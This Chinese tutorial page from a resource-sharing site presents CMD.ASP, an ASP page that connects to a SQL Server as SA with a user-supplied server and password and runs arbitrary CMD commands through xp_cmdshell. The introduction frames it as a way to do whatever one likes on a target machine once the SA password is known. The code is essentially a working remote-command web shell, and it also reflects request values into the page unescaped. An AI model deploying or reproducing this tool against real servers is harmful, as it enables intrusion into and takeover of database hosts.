也想出现在这里? 联系我们

教你SQLSERVER扩展存储过程XP_CMDSHELL的简单应用

作者 : 小编 本文共3081个字,预计阅读时间需要8分钟 发布时间: 2021-06-3 共3.93K人阅读
也想出现在这里? 联系我们

XP_CMDSHELL存储过程是执行本机的CMD命令,要求系统登陆有SA权限,也就是说如果获得SQLSERVER的SA命令,那就可以在目标机为所欲为了,知名软件“流光”使用的应该也是这个存储过程来实现在目标机上的操作。

下面是我写的一个简单的应用页面(ASP),代码如下。

CMD.ASP

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>SQLSERVER_XP_CMDSHELL实例_魔术师·刘</title>

<style type="text/css">

<!–

body{

font-size:13px;

line-height:20px;

width:760;

SCROLLBAR-FACE-COLOR: #2896e1;

SCROLLBAR-SHADOW-COLOR: #6cb4d8;

SCROLLBAR-ARROW-COLOR: #f0f0f0;

SCROLLBAR-DARKSHADOW-COLOR: #2896e1;

SCROLLBAR-BASE-COLOR: #2896e1;

background-image: url(images/bg.gif);

}

.LBR{

border-top:0px solid #336699;

border-left:1px solid #336699;

border-right:1px solid #336699;

border-bottom:1px solid #336699;

}

.all_h {

border: 1px solid #336699;

}

.input {

border: 1px solid #336699;

background-color:#ECEAFD;

}

.LB{

border-top:0px solid #336699;

border-left:1px solid #336699;

border-right:0px solid #336699;

border-bottom:1px solid #336699;

}

.N1 {font-weight:bold;color:#339933;font-size:13px;}

.N2 {font-weight:bold;color:#ff0000;font-size:13px;}

–>

</style>

</head>

<body>

<%if request("cmd")<>"" then%>

<table width=400 border=0 align=center cellpadding=5 cellspacing=0>

<tr align=center>

<td height=30 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL请求结果</span></td>

</tr>

<%

dim connstr,conn,rs,i

ConnStr="Provider=sqloledb.1;persist security info=false;server="&request("server")&";uid=sa;pwd="&request("pwd")&";database=master"

\’ConnStr="Provider=sqloledb.1;persist security info=false;server=(local);uid=sa;pwd=www.zhi.net;database=master"

set conn=Server.CreateObject("ADODB.Connection")

conn.open Connstr

set rs=server.CreateObject("ADODB.Recordset")

set rs=conn.execute("xp_cmdshell \’"&replace(replace(request("cmd"),"\’","\’\’"),chr(34),"\’\’")&"\’")

i=0

while not rs.eof

if not isnull(rs(0)) then

if i mod 2 =0 then

response.Write "<tr><td class=""LBR"" bgcolor=""#DEF3FF"">"&rs(0)&"</td></tr>"

else

response.Write "<tr><td class=""LBR"">"&rs(0)&"</td></tr>"

end if

i=i 1

end if

rs.movenext

wend

rs.close

set rs=nothing

conn.close

set conn=nothing

%>

</table>

<%end if%>

<form name="form1" method="post" action="">

<table width=400 border=0 align=center cellpadding=5 cellspacing=0>

<tr align=center>

<td height=30 colspan=2 class=all_h bgcolor=#B3E0FF ><span class=N1>XP_CMDSHELL实例</span></td>

</tr>

<tr align=center bgcolor=#DEF3FF>

<td width=26% class=LB><strong>服务器</strong></td>

<td width=74% class=LBR><div align="left">

<input name="Server" type="text" id="Server" class="input" size="20" value="<%=request("Server")%>">

</div></td>

</tr>

<tr align=center >

<td class=LB><b>SA密码 </b></td>

<td class=LBR><div align="left"><span class=N1>

<input name="PWD" type="text" id="PWD" class="input" size="20" value="<%=request("PWD")%>">

</span></div></td>

</tr>

<tr align=center bgcolor=#DEF3FF>

<td width=26% class=LB><strong>CMD命令</strong></td>

<td width=74% class=LBR><div align="left">

<input name="CMD" type="text" id="CMD" class="input" size="20" value="<%=request("CMD")%>">

</div></td>

</tr>

<tr align=center >

<td colspan="2" class=LBR><div align="center"><b> </b>

<input type="submit" name="Submit" value=" 提交Command命令 " class="input">

</div></td>

</tr>

</table>

</form>

</body>

</html>

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » 教你SQLSERVER扩展存储过程XP_CMDSHELL的简单应用

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录